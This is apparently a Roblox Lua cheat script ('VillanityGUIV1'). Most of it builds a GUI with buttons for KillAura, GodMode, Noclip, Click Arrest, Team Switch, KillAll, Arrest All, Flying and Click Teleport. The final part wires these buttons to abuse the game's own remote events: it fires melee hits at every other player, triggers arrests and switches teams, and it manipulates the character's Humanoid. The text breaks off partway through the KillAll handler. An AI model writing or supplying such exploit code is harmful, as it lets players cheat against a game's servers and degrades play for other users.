- Text_2.TextSize = 40
- Frame_4.Parent = Main
- Frame_4.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_4.BackgroundTransparency = 0.30000001192093
- Frame_4.BorderSizePixel = 0
- Frame_4.Position = UDim2.new(1, 0, -0.217630848, 0)
- Frame_4.Size = UDim2.new(0, 5, 0, 453)
- Frame_5.Parent = Main
- Frame_5.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_5.BackgroundTransparency = 0.30000001192093
- Frame_5.BorderSizePixel = 0
- Frame_5.Position = UDim2.new(0, 0, 1.00123239, 0)
- Frame_5.Size = UDim2.new(0, 340, 0, 5)
- Frame_6.Parent = Main
- Frame_6.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_6.BackgroundTransparency = 0.30000001192093
- Frame_6.BorderSizePixel = 0
- Frame_6.Position = UDim2.new(-0.0147058647, 0, -0.217630848, 0)
- Frame_6.Size = UDim2.new(0, 5, 0, 453)
- Frame_7.Parent = Main
- Frame_7.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_7.BackgroundTransparency = 0.30000001192093
- Frame_7.BorderSizePixel = 0
- Frame_7.Position = UDim2.new(0.491176456, 0, 0, 0)
- Frame_7.Size = UDim2.new(0, 5, 0, 363)
- Close.Name = "Close"
- Close.Parent = Main
- Close.BackgroundColor3 = Color3.new(0, 0, 0)
- Close.BackgroundTransparency = 1
- Close.BorderColor3 = Color3.new(1, 1, 1)
- Close.BorderSizePixel = 0
- Close.Position = UDim2.new(-1.15294135, 500, 1.03108263, 0)
- Close.Size = UDim2.new(0, 121, 0, 44)
- Frame_8.Parent = Close
- Frame_8.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_8.BackgroundTransparency = 0.30000001192093
- Frame_8.BorderSizePixel = 0
- Frame_8.Position = UDim2.new(1, 0, 0, 0)
- Frame_8.Size = UDim2.new(0, 6, 0, 44)
- Frame_9.Parent = Close
- Frame_9.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_9.BackgroundTransparency = 0.30000001192093
- Frame_9.BorderSizePixel = 0
- Frame_9.Position = UDim2.new(-0.0495867766, 0, 1, 0)
- Frame_9.Size = UDim2.new(0, 133, 0, 6)
- Frame_10.Parent = Close
- Frame_10.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_10.BackgroundTransparency = 0.30000001192093
- Frame_10.BorderSizePixel = 0
- Frame_10.Position = UDim2.new(-0.0495867729, 0, 0, 0)
- Frame_10.Size = UDim2.new(0, 6, 0, 44)
- Frame_11.Parent = Close
- Frame_11.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_11.BackgroundTransparency = 0.30000001192093
- Frame_11.BorderSizePixel = 0
- Frame_11.Position = UDim2.new(-0.0495867766, 0, -0.136363626, 0)
- Frame_11.Size = UDim2.new(0, 133, 0, 6)
- CloseButton.Name = "CloseButton"
- CloseButton.Parent = Close
- CloseButton.Active = false
- CloseButton.BackgroundColor3 = Color3.new(0, 0, 0)
- CloseButton.BackgroundTransparency = 0.5
- CloseButton.BorderSizePixel = 0
- CloseButton.Size = UDim2.new(0, 121, 0, 44)
- CloseButton.Font = Enum.Font.Cartoon
- CloseButton.Text = "Close"
- CloseButton.TextColor3 = Color3.new(1, 1, 1)
- CloseButton.TextSize = 25
- KillAuraOn.Name = "KillAuraOn"
- KillAuraOn.Parent = Main
- KillAuraOn.BackgroundColor3 = Color3.new(0, 0, 0)
- KillAuraOn.BackgroundTransparency = 1
- KillAuraOn.BorderColor3 = Color3.new(1, 1, 1)
- KillAuraOn.BorderSizePixel = 0
- KillAuraOn.Position = UDim2.new(-1.87647057, 500, 0.0365923047, 0)
- KillAuraOn.Size = UDim2.new(0, 121, 0, 44)
- KAOnB.Name = "KAOnB"
- KAOnB.Parent = KillAuraOn
- KAOnB.Active = false
- KAOnB.BackgroundColor3 = Color3.new(0, 0, 0)
- KAOnB.BackgroundTransparency = 0.5
- KAOnB.BorderSizePixel = 0
- KAOnB.Size = UDim2.new(0, 121, 0, 44)
- KAOnB.Font = Enum.Font.Cartoon
- KAOnB.Text = "Turn On"
- KAOnB.TextColor3 = Color3.new(1, 1, 1)
- KAOnB.TextSize = 25
- KillAuraOff.Name = "KillAuraOff"
- KillAuraOff.Parent = Main
- KillAuraOff.BackgroundColor3 = Color3.new(0, 0, 0)
- KillAuraOff.BackgroundTransparency = 1
- KillAuraOff.BorderColor3 = Color3.new(1, 1, 1)
- KillAuraOff.BorderSizePixel = 0
- KillAuraOff.Position = UDim2.new(-1.87647057, 500, 0.0365923047, 0)
- KillAuraOff.Size = UDim2.new(0, 121, 0, 44)
- KillAuraOff.Visible = false
- KAOffB.Name = "KAOffB"
- KAOffB.Parent = KillAuraOff
- KAOffB.Active = false
- KAOffB.BackgroundColor3 = Color3.new(0, 0, 0)
- KAOffB.BackgroundTransparency = 0.5
- KAOffB.BorderSizePixel = 0
- KAOffB.Size = UDim2.new(0, 121, 0, 44)
- KAOffB.Font = Enum.Font.Cartoon
- KAOffB.Text = "Turn Off"
- KAOffB.TextColor3 = Color3.new(1, 1, 1)
- KAOffB.TextSize = 25
- Text_3.Name = "Text"
- Text_3.Parent = Main
- Text_3.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_3.BackgroundTransparency = 1
- Text_3.Position = UDim2.new(-0.0511663258, 0, 0.028236717, 0)
- Text_3.Size = UDim2.new(0, 200, 0, 50)
- Text_3.Font = Enum.Font.Cartoon
- Text_3.Text = "KillAura"
- Text_3.TextColor3 = Color3.new(1, 1, 1)
- Text_3.TextSize = 25
- Text_4.Name = "Text"
- Text_4.Parent = Main
- Text_4.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_4.BackgroundTransparency = 1
- Text_4.Position = UDim2.new(-0.0511663258, 0, 0.193526015, 0)
- Text_4.Size = UDim2.new(0, 200, 0, 50)
- Text_4.Font = Enum.Font.Cartoon
- Text_4.Text = "GodMode"
- Text_4.TextColor3 = Color3.new(1, 1, 1)
- Text_4.TextSize = 25
- GodModeOn.Name = "GodModeOn"
- GodModeOn.Parent = Main
- GodModeOn.BackgroundColor3 = Color3.new(0, 0, 0)
- GodModeOn.BackgroundTransparency = 1
- GodModeOn.BorderColor3 = Color3.new(1, 1, 1)
- GodModeOn.BorderSizePixel = 0
- GodModeOn.Position = UDim2.new(-1.8794117, 500, 0.193617105, 0)
- GodModeOn.Size = UDim2.new(0, 121, 0, 44)
- GMOnB.Name = "GMOnB"
- GMOnB.Parent = GodModeOn
- GMOnB.Active = false
- GMOnB.BackgroundColor3 = Color3.new(0, 0, 0)
- GMOnB.BackgroundTransparency = 0.5
- GMOnB.BorderSizePixel = 0
- GMOnB.Size = UDim2.new(0, 121, 0, 44)
- GMOnB.Font = Enum.Font.Cartoon
- GMOnB.Text = "Turn On"
- GMOnB.TextColor3 = Color3.new(1, 1, 1)
- GMOnB.TextSize = 25
- GodModeOff.Name = "GodModeOff"
- GodModeOff.Parent = Main
- GodModeOff.BackgroundColor3 = Color3.new(0, 0, 0)
- GodModeOff.BackgroundTransparency = 1
- GodModeOff.BorderColor3 = Color3.new(1, 1, 1)
- GodModeOff.BorderSizePixel = 0
- GodModeOff.Position = UDim2.new(-1.8794117, 500, 0.193617105, 0)
- GodModeOff.Size = UDim2.new(0, 121, 0, 44)
- GodModeOff.Visible = false
- GMOffB.Name = "GMOffB"
- GMOffB.Parent = GodModeOff
- GMOffB.Active = false
- GMOffB.BackgroundColor3 = Color3.new(0, 0, 0)
- GMOffB.BackgroundTransparency = 0.5
- GMOffB.BorderSizePixel = 0
- GMOffB.Size = UDim2.new(0, 121, 0, 44)
- GMOffB.Visible = true
- GMOffB.Font = Enum.Font.Cartoon
- GMOffB.Text = "Turn Off"
- GMOffB.TextColor3 = Color3.new(1, 1, 1)
- GMOffB.TextSize = 25
- Text_5.Name = "Text"
- Text_5.Parent = Main
- Text_5.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_5.BackgroundTransparency = 1
- Text_5.Position = UDim2.new(-0.0511663258, 0, 0.336776704, 0)
- Text_5.Size = UDim2.new(0, 200, 0, 50)
- Text_5.Font = Enum.Font.Cartoon
- Text_5.Text = "Noclip"
- Text_5.TextColor3 = Color3.new(1, 1, 1)
- Text_5.TextSize = 25
- NoclipOn.Name = "NoclipOn"
- NoclipOn.Parent = Main
- NoclipOn.BackgroundColor3 = Color3.new(0, 0, 0)
- NoclipOn.BackgroundTransparency = 1
- NoclipOn.BorderColor3 = Color3.new(1, 1, 1)
- NoclipOn.BorderSizePixel = 0
- NoclipOn.Position = UDim2.new(-1.87600005, 500, 0.344999999, 0)
- NoclipOn.Size = UDim2.new(0, 121, 0, 44)
- NCOnB.Name = "NCOnB"
- NCOnB.Parent = NoclipOn
- NCOnB.Active = false
- NCOnB.BackgroundColor3 = Color3.new(0, 0, 0)
- NCOnB.BackgroundTransparency = 0.5
- NCOnB.BorderSizePixel = 0
- NCOnB.Size = UDim2.new(0, 121, 0, 44)
- NCOnB.Font = Enum.Font.Cartoon
- NCOnB.Text = "Turn On"
- NCOnB.TextColor3 = Color3.new(1, 1, 1)
- NCOnB.TextSize = 25
- NoclipOff.Name = "NoclipOff"
- NoclipOff.Parent = Main
- NoclipOff.BackgroundColor3 = Color3.new(0, 0, 0)
- NoclipOff.BackgroundTransparency = 1
- NoclipOff.BorderColor3 = Color3.new(1, 1, 1)
- NoclipOff.BorderSizePixel = 0
- NoclipOff.Position = UDim2.new(-1.87600005, 500, 0.344999999, 0)
- NoclipOff.Size = UDim2.new(0, 121, 0, 44)
- NoclipOff.Visible = false
- NCOffB.Name = "NCOffB"
- NCOffB.Parent = NoclipOff
- NCOffB.Active = false
- NCOffB.BackgroundColor3 = Color3.new(0, 0, 0)
- NCOffB.BackgroundTransparency = 0.5
- NCOffB.BorderSizePixel = 0
- NCOffB.Size = UDim2.new(0, 121, 0, 44)
- NCOffB.Font = Enum.Font.Cartoon
- NCOffB.Text = "Turn Off"
- NCOffB.TextColor3 = Color3.new(1, 1, 1)
- NCOffB.TextSize = 25
- Text_6.Name = "Text"
- Text_6.Parent = Main
- Text_6.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_6.BackgroundTransparency = 1
- Text_6.Position = UDim2.new(-0.0511663258, 0, 0.491046697, 0)
- Text_6.Size = UDim2.new(0, 200, 0, 50)
- Text_6.Font = Enum.Font.Cartoon
- Text_6.Text = "Click Arrest"
- Text_6.TextColor3 = Color3.new(1, 1, 1)
- Text_6.TextSize = 25
- ClickArrest.Name = "ClickArrest"
- ClickArrest.Parent = Main
- ClickArrest.BackgroundColor3 = Color3.new(0, 0, 0)
- ClickArrest.BackgroundTransparency = 1
- ClickArrest.BorderColor3 = Color3.new(1, 1, 1)
- ClickArrest.BorderSizePixel = 0
- ClickArrest.Position = UDim2.new(-1.87647057, 500, 0.499402225, 0)
- ClickArrest.Size = UDim2.new(0, 121, 0, 44)
- CAOnB.Name = "CAOnB"
- CAOnB.Parent = ClickArrest
- CAOnB.Active = false
- CAOnB.BackgroundColor3 = Color3.new(0, 0, 0)
- CAOnB.BackgroundTransparency = 0.5
- CAOnB.BorderSizePixel = 0
- CAOnB.Size = UDim2.new(0, 121, 0, 44)
- CAOnB.Font = Enum.Font.Cartoon
- CAOnB.Text = "Activate"
- CAOnB.TextColor3 = Color3.new(1, 1, 1)
- CAOnB.TextSize = 25
- Text_7.Name = "Text"
- Text_7.Parent = Main
- Text_7.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_7.BackgroundTransparency = 1
- Text_7.Position = UDim2.new(-0.050999999, 0, 0.735000014, 0)
- Text_7.Size = UDim2.new(0, 200, 0, 50)
- Text_7.Font = Enum.Font.Cartoon
- Text_7.Text = "Team Switch"
- Text_7.TextColor3 = Color3.new(1, 1, 1)
- Text_7.TextSize = 25
- Guard.Name = "Guard"
- Guard.Parent = Main
- Guard.BackgroundColor3 = Color3.new(0, 0, 0)
- Guard.BackgroundTransparency = 1
- Guard.BorderColor3 = Color3.new(1, 1, 1)
- Guard.BorderSizePixel = 0
- Guard.Position = UDim2.new(-1.87647057, 500, 0.664691448, 0)
- Guard.Size = UDim2.new(0, 121, 0, 44)
- GuardB.Name = "GuardB"
- GuardB.Parent = Guard
- GuardB.Active = false
- GuardB.BackgroundColor3 = Color3.new(0, 0, 0)
- GuardB.BackgroundTransparency = 0.5
- GuardB.BorderSizePixel = 0
- GuardB.Size = UDim2.new(0, 121, 0, 44)
- GuardB.Font = Enum.Font.Cartoon
- GuardB.Text = "Guard"
- GuardB.TextColor3 = Color3.new(1, 1, 1)
- GuardB.TextSize = 25
- Inmate.Name = "Inmate"
- Inmate.Parent = Main
- Inmate.BackgroundColor3 = Color3.new(0, 0, 0)
- Inmate.BackgroundTransparency = 1
- Inmate.BorderColor3 = Color3.new(1, 1, 1)
- Inmate.BorderSizePixel = 0
- Inmate.Position = UDim2.new(-1.87647057, 500, 0.829980731, 0)
- Inmate.Size = UDim2.new(0, 121, 0, 44)
- InmateB.Name = "InmateB"
- InmateB.Parent = Inmate
- InmateB.Active = false
- InmateB.BackgroundColor3 = Color3.new(0, 0, 0)
- InmateB.BackgroundTransparency = 0.5
- InmateB.BorderSizePixel = 0
- InmateB.Size = UDim2.new(0, 121, 0, 44)
- InmateB.Font = Enum.Font.Cartoon
- InmateB.Text = "Inmate"
- InmateB.TextColor3 = Color3.new(1, 1, 1)
- InmateB.TextSize = 25
- Text_8.Name = "Text"
- Text_8.Parent = Main
- Text_8.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_8.BackgroundTransparency = 1
- Text_8.Position = UDim2.new(0.460764706, 0, 0.0270110369, 0)
- Text_8.Size = UDim2.new(0, 200, 0, 50)
- Text_8.Font = Enum.Font.Cartoon
- Text_8.Text = "KillAll"
- Text_8.TextColor3 = Color3.new(1, 1, 1)
- Text_8.TextSize = 25
- ClickArrestOn.Name = "ClickArrestOn"
- ClickArrestOn.Parent = Main
- ClickArrestOn.BackgroundColor3 = Color3.new(0, 0, 0)
- ClickArrestOn.BackgroundTransparency = 0.5
- ClickArrestOn.BorderColor3 = Color3.new(1, 1, 1)
- ClickArrestOn.BorderSizePixel = 0
- ClickArrestOn.Position = UDim2.new(-1.87647057, 500, 0.499402225, 0)
- ClickArrestOn.Size = UDim2.new(0, 121, 0, 44)
- ClickArrestOn.Visible = false
- Text_9.Name = "Text"
- Text_9.Parent = ClickArrestOn
- Text_9.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_9.BackgroundTransparency = 1
- Text_9.Position = UDim2.new(-0.331, 0, -0.0680000037, 0)
- Text_9.Size = UDim2.new(0, 200, 0, 50)
- Text_9.Font = Enum.Font.Cartoon
- Text_9.Text = "Activated"
- Text_9.TextColor3 = Color3.new(1, 1, 1)
- Text_9.TextSize = 25
- KillAll.Name = "KillAll"
- KillAll.Parent = Main
- KillAll.BackgroundColor3 = Color3.new(0, 0, 0)
- KillAll.BackgroundTransparency = 1
- KillAll.BorderColor3 = Color3.new(1, 1, 1)
- KillAll.BorderSizePixel = 0
- KillAll.Position = UDim2.new(-0.420588136, 500, 0.0365922302, 0)
- KillAll.Size = UDim2.new(0, 121, 0, 44)
- KillAllB.Name = "KillAllB"
- KillAllB.Parent = KillAll
- KillAllB.Active = false
- KillAllB.BackgroundColor3 = Color3.new(0, 0, 0)
- KillAllB.BackgroundTransparency = 0.5
- KillAllB.BorderSizePixel = 0
- KillAllB.Size = UDim2.new(0, 121, 0, 44)
- KillAllB.Font = Enum.Font.Cartoon
- KillAllB.Text = "Activate"
- KillAllB.TextColor3 = Color3.new(1, 1, 1)
- KillAllB.TextSize = 25
- Text_10.Name = "Text"
- Text_10.Parent = Main
- Text_10.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_10.BackgroundTransparency = 1
- Text_10.Position = UDim2.new(0.460764706, 0, 0.65511024, 0)
- Text_10.Size = UDim2.new(0, 200, 0, 50)
- Text_10.Font = Enum.Font.Cartoon
- Text_10.Text = "Btools"
- Text_10.TextColor3 = Color3.new(1, 1, 1)
- Text_10.TextSize = 24
- Text_11.Name = "Text"
- Text_11.Parent = Main
- Text_11.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_11.BackgroundTransparency = 1
- Text_11.Position = UDim2.new(0.460764706, 0, 0.184035838, 0)
- Text_11.Size = UDim2.new(0, 200, 0, 50)
- Text_11.Font = Enum.Font.Cartoon
- Text_11.Text = "Arrest All"
- Text_11.TextColor3 = Color3.new(1, 1, 1)
- Text_11.TextSize = 24
- ArrestAll.Name = "ArrestAll"
- ArrestAll.Parent = Main
- ArrestAll.BackgroundColor3 = Color3.new(0, 0, 0)
- ArrestAll.BackgroundTransparency = 1
- ArrestAll.BorderColor3 = Color3.new(1, 1, 1)
- ArrestAll.BorderSizePixel = 0
- ArrestAll.Position = UDim2.new(-0.420588136, 500, 0.193617016, 0)
- ArrestAll.Size = UDim2.new(0, 121, 0, 44)
- ArrestAllB.Name = "ArrestAllB"
- ArrestAllB.Parent = ArrestAll
- ArrestAllB.Active = false
- ArrestAllB.BackgroundColor3 = Color3.new(0, 0, 0)
- ArrestAllB.BackgroundTransparency = 0.5
- ArrestAllB.BorderSizePixel = 0
- ArrestAllB.Size = UDim2.new(0, 121, 0, 44)
- ArrestAllB.Font = Enum.Font.Cartoon
- ArrestAllB.Text = "Activate"
- ArrestAllB.TextColor3 = Color3.new(1, 1, 1)
- ArrestAllB.TextSize = 25
- ClickTP.Name = "ClickTP"
- ClickTP.Parent = Main
- ClickTP.BackgroundColor3 = Color3.new(0, 0, 0)
- ClickTP.BackgroundTransparency = 1
- ClickTP.BorderColor3 = Color3.new(1, 1, 1)
- ClickTP.BorderSizePixel = 0
- ClickTP.Position = UDim2.new(-0.426470608, 500, 0.829980731, 0)
- ClickTP.Size = UDim2.new(0, 121, 0, 44)
- ClickTPOnB.Name = "ClickTPOnB"
- ClickTPOnB.Parent = ClickTP
- ClickTPOnB.Active = false
- ClickTPOnB.BackgroundColor3 = Color3.new(0, 0, 0)
- ClickTPOnB.BackgroundTransparency = 0.5
- ClickTPOnB.BorderSizePixel = 0
- ClickTPOnB.Size = UDim2.new(0, 121, 0, 44)
- ClickTPOnB.Font = Enum.Font.Cartoon
- ClickTPOnB.Text = "Activate"
- ClickTPOnB.TextColor3 = Color3.new(1, 1, 1)
- ClickTPOnB.TextSize = 25
- Weapons.Name = "Weapons"
- Weapons.Parent = Main
- Weapons.BackgroundColor3 = Color3.new(0, 0, 0)
- Weapons.BackgroundTransparency = 1
- Weapons.BorderColor3 = Color3.new(1, 1, 1)
- Weapons.BorderSizePixel = 0
- Weapons.Position = UDim2.new(-0.423529416, 500, 0.345132232, 0)
- Weapons.Size = UDim2.new(0, 121, 0, 44)
- WepB.Name = "WepB"
- WepB.Parent = Weapons
- WepB.Active = false
- WepB.BackgroundColor3 = Color3.new(0, 0, 0)
- WepB.BackgroundTransparency = 0.5
- WepB.BorderSizePixel = 0
- WepB.Size = UDim2.new(0, 121, 0, 44)
- WepB.Font = Enum.Font.Cartoon
- WepB.Text = "Activate"
- WepB.TextColor3 = Color3.new(1, 1, 1)
- WepB.TextSize = 25
- Text_12.Name = "Text"
- Text_12.Parent = Main
- Text_12.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_12.BackgroundTransparency = 1
- Text_12.Position = UDim2.new(0.460764706, 0, 0.812135041, 0)
- Text_12.Size = UDim2.new(0, 200, 0, 50)
- Text_12.Font = Enum.Font.Cartoon
- Text_12.Text = "Click Teleport"
- Text_12.TextColor3 = Color3.new(1, 1, 1)
- Text_12.TextSize = 24
- Text_13.Name = "Text"
- Text_13.Parent = Main
- Text_13.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_13.BackgroundTransparency = 1
- Text_13.Position = UDim2.new(0.460764706, 0, 0.335550994, 0)
- Text_13.Size = UDim2.new(0, 200, 0, 50)
- Text_13.Font = Enum.Font.Cartoon
- Text_13.Text = "Weapons"
- Text_13.TextColor3 = Color3.new(1, 1, 1)
- Text_13.TextSize = 24
- Text_14.Name = "Text"
- Text_14.Parent = Main
- Text_14.BackgroundColor3 = Color3.new(0, 0, 0)
- Text_14.BackgroundTransparency = 1
- Text_14.Position = UDim2.new(0.454882354, 0, 0.489820957, 0)
- Text_14.Size = UDim2.new(0, 200, 0, 50)
- Text_14.Font = Enum.Font.Cartoon
- Text_14.Text = "Flying"
- Text_14.TextColor3 = Color3.new(1, 1, 1)
- Text_14.TextSize = 24
- FlyingOn.Name = "FlyingOn"
- FlyingOn.Parent = Main
- FlyingOn.BackgroundColor3 = Color3.new(0, 0, 0)
- FlyingOn.BackgroundTransparency = 1
- FlyingOn.BorderColor3 = Color3.new(1, 1, 1)
- FlyingOn.BorderSizePixel = 0
- FlyingOn.Position = UDim2.new(-0.423529387, 500, 0.499402225, 0)
- FlyingOn.Size = UDim2.new(0, 121, 0, 44)
- FlyOnB.Name = "FlyOnB"
- FlyOnB.Parent = FlyingOn
- FlyOnB.Active = false
- FlyOnB.BackgroundColor3 = Color3.new(0, 0, 0)
- FlyOnB.BackgroundTransparency = 0.5
- FlyOnB.BorderSizePixel = 0
- FlyOnB.Size = UDim2.new(0, 121, 0, 44)
- FlyOnB.Font = Enum.Font.Cartoon
- FlyOnB.Text = "Turn On"
- FlyOnB.TextColor3 = Color3.new(1, 1, 1)
- FlyOnB.TextSize = 25
- FlyingOff.Name = "FlyingOff"
- FlyingOff.Parent = Main
- FlyingOff.BackgroundColor3 = Color3.new(0, 0, 0)
- FlyingOff.BackgroundTransparency = 1
- FlyingOff.BorderColor3 = Color3.new(1, 1, 1)
- FlyingOff.BorderSizePixel = 0
- FlyingOff.Position = UDim2.new(-0.423529387, 500, 0.499402225, 0)
- FlyingOff.Size = UDim2.new(0, 121, 0, 44)
- FlyingOff.Visible = false
- FlyOffB.Name = "FlyOffB"
- FlyOffB.Parent = FlyingOff
- FlyOffB.Active = false
- FlyOffB.BackgroundColor3 = Color3.new(0, 0, 0)
- FlyOffB.BackgroundTransparency = 0.5
- FlyOffB.BorderSizePixel = 0
- FlyOffB.Size = UDim2.new(0, 121, 0, 44)
- FlyOffB.Font = Enum.Font.Cartoon
- FlyOffB.Text = "Turn Off"
- FlyOffB.TextColor3 = Color3.new(1, 1, 1)
- FlyOffB.TextSize = 25
- Btools.Name = "Btools"
- Btools.Parent = Main
- Btools.BackgroundColor3 = Color3.new(0, 0, 0)
- Btools.BackgroundTransparency = 1
- Btools.BorderColor3 = Color3.new(1, 1, 1)
- Btools.BorderSizePixel = 0
- Btools.Position = UDim2.new(-0.423529416, 500, 0.664691448, 0)
- Btools.Size = UDim2.new(0, 121, 0, 44)
- BtoolsOn.Name = "BtoolsOn"
- BtoolsOn.Parent = Btools
- BtoolsOn.Active = false
- BtoolsOn.BackgroundColor3 = Color3.new(0, 0, 0)
- BtoolsOn.BackgroundTransparency = 0.5
- BtoolsOn.BorderSizePixel = 0
- BtoolsOn.Size = UDim2.new(0, 121, 0, 44)
- BtoolsOn.Font = Enum.Font.Cartoon
- BtoolsOn.Text = "Activate"
- BtoolsOn.TextColor3 = Color3.new(1, 1, 1)
- BtoolsOn.TextSize = 25
- Open.Name = "Open"
- Open.Parent = VillanityGUIV1
- Open.BackgroundColor3 = Color3.new(0, 0, 0)
- Open.BackgroundTransparency = 1
- Open.BorderColor3 = Color3.new(1, 1, 1)
- Open.BorderSizePixel = 0
- Open.Position = UDim2.new(0.0140581066, 0, 0.795202971, 0)
- Open.Size = UDim2.new(0, 121, 0, 44)
- Open.Visible = false
- Frame_12.Parent = Open
- Frame_12.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_12.BackgroundTransparency = 0.30000001192093
- Frame_12.BorderSizePixel = 0
- Frame_12.Position = UDim2.new(-0.0495867766, 0, -0.136363626, 0)
- Frame_12.Size = UDim2.new(0, 133, 0, 6)
- Frame_13.Parent = Open
- Frame_13.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_13.BackgroundTransparency = 0.30000001192093
- Frame_13.BorderSizePixel = 0
- Frame_13.Position = UDim2.new(-0.0495867766, 0, 1, 0)
- Frame_13.Size = UDim2.new(0, 133, 0, 6)
- Frame_14.Parent = Open
- Frame_14.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_14.BackgroundTransparency = 0.30000001192093
- Frame_14.BorderSizePixel = 0
- Frame_14.Position = UDim2.new(1, 0, 0, 0)
- Frame_14.Size = UDim2.new(0, 6, 0, 44)
- Frame_15.Parent = Open
- Frame_15.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_15.BackgroundTransparency = 0.30000001192093
- Frame_15.BorderSizePixel = 0
- Frame_15.Position = UDim2.new(-0.0495867729, 0, 0, 0)
- Frame_15.Size = UDim2.new(0, 6, 0, 44)
- OpenButton.Name = "OpenButton"
- OpenButton.Parent = Open
- OpenButton.Active = false
- OpenButton.BackgroundColor3 = Color3.new(0, 0, 0)
- OpenButton.BackgroundTransparency = 0.5
- OpenButton.BorderSizePixel = 0
- OpenButton.Size = UDim2.new(0, 121, 0, 44)
- OpenButton.Font = Enum.Font.Cartoon
- OpenButton.Text = "Open"
- OpenButton.TextColor3 = Color3.new(1, 1, 1)
- OpenButton.TextSize = 25
- -- Scripts:
- function SCRIPT_KVGQ79_FAKESCRIPT() -- VillanityGUIV1.DragGUI
- getfenv().script = Instance.new('Script', VillanityGUIV1)
- for _,v in ipairs(script.Parent:GetDescendants()) do
- if not v:IsA("LocalScript") then
- v.Draggable = true
- end
- end
- end
- coroutine.resume(coroutine.create(SCRIPT_KVGQ79_FAKESCRIPT))
- CloseButton.MouseButton1Down:connect(function()
- Main.Visible = false
- Open.Visible = true
- end)
- OpenButton.MouseButton1Down:connect(function()
- Main.Visible = true
- Open.Visible = false
- end)
- KAOnB.MouseButton1Down:connect(function()
- wait(0.1)
- Main.KillAuraOn.Visible = false
- Main.KillAuraOff.Visible = true
- mainRemotes = game.ReplicatedStorage
- meleeRemote = mainRemotes['meleeEvent']
- killAura = true
- contextactionservice = game.ContextActionService
- function toggleKillAura(actionName, inputState, inputObject)
- print('Doing the action : ' .. actionName)
- if inputState == Enum.UserInputState.Begin then
- if killAura == true then
- killAura = false
- else
- killAura = true
- end
- end
- end
- contextactionservice:BindAction('ToggleKillAura', toggleKillAura, false, Enum.KeyCode.K)
- while wait() do
- if killAura == true then
- for _, plr in pairs (game:GetService('Players'):GetChildren()) do
- if plr.Name ~= game.Players.LocalPlayer.Name then
- meleeRemote:FireServer(plr)
- end
- end
- end
- end
- end)
- KAOffB.MouseButton1Down:connect(function()
- wait(0.1)
- Main.KillAuraOff.Visible = false
- Main.KillAuraOn.Visible = true
- mainRemotes = game.ReplicatedStorage
- meleeRemote = mainRemotes['meleeEvent']
- killAura = false
- contextactionservice = game.ContextActionService
- function toggleKillAura(actionName, inputState, inputObject)
- print('Doing the action : ' .. actionName)
- if inputState == Enum.UserInputState.Begin then
- if killAura == true then
- killAura = false
- else
- killAura = false
- end
- end
- end
- contextactionservice:BindAction('ToggleKillAura', toggleKillAura, false, Enum.KeyCode.K)
- while wait() do
- if killAura == true then
- for _, plr in pairs (game:GetService('Players'):GetChildren()) do
- if plr.Name ~= game.Players.LocalPlayer.Name then
- meleeRemote:FireServer(plr)
- end
- end
- end
- end
- end)
- GMOnB.MouseButton1Down:connect(function()
- wait(0.1)
- Main.GodModeOn.Visible = false
- Main.GodModeOff.Visible = true
- lplayer = game:GetService("Players").LocalPlayer
- lplayer.Character.Humanoid.Name = 1
- local l = lplayer.Character["1"]:Clone()
- l.Parent = lplayer.Character
- l.Name = "Humanoid"
- wait(0.1)
- lplayer.Character["1"]:Destroy()
- game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
- lplayer.Character.Animate.Disabled = true
- wait(0.1)
- lplayer.Character.Animate.Disabled = false
- lplayer.Character.Humanoid.DisplayDistanceType = "None"
- end)
- GMOffB.MouseButton1Down:connect(function()
- wait(0.1)
- Main.GodModeOff.Visible = false
- Main.GodModeOn.Visible = true
- lplayer.Character.Humanoid.Health = 0
- local a1 = Instance.new("Model", workspace)
- local a2 = Instance.new("Part", a1)
- a2.CanCollide = true
- a2.Anchored = true
- a2.CFrame = CFrame.new(10000, 10000, 10000)
- a2.Name = "Torso"
- local a3 = Instance.new("Humanoid", a1)
- a3.MaxHealth=100;a3.Health=100
- game.Players.LocalPlayer.Character = a1
- a3.Health=0
- end)
- NCOnB.MouseButton1Down:connect(function()
- wait(0.1)
- Main.NoclipOn.Visible = false
- Main.NoclipOff.Visible = true
- noclip = true
- game:GetService('RunService').Stepped:connect(function()
- if noclip then
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
- end
- end)
- end)
- NCOffB.MouseButton1Down:connect(function()
- wait(0.1)
- Main.NoclipOff.Visible = false
- Main.NoclipOn.Visible = true
- noclip = false
- game:GetService('RunService').Stepped:connect(function()
- if noclip then
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
- end
- end)
- end)
- CAOnB.MouseButton1Down:connect(function()
- Main.ClickArrest.Visible = false
- Main.ClickArrestOn.Visible = true
- local mouse = game.Players.LocalPlayer:GetMouse()
- local arrestEvent = game.Workspace.Remote.arrest
- mouse.Button1Down:connect(function()
- local obj = mouse.Target
- local response = arrestEvent:InvokeServer(obj)
- end)
- end)
- GuardB.MouseButton1Down:connect(function()
- wait(0.1)
- Workspace.Remote.TeamEvent:FireServer("Bright blue")
- end)
- InmateB.MouseButton1Down:connect(function()
- wait(0.1)
- Workspace.Remote.TeamEvent:FireServer("Bright orange")
- end)
- KillAllB.MouseButton1Down:connect(function()
- wait(0.1)
- local Player = game.Players.LocalPlayer
- local prevCFrame = Player.Character.HumanoidRootPart.CFrame
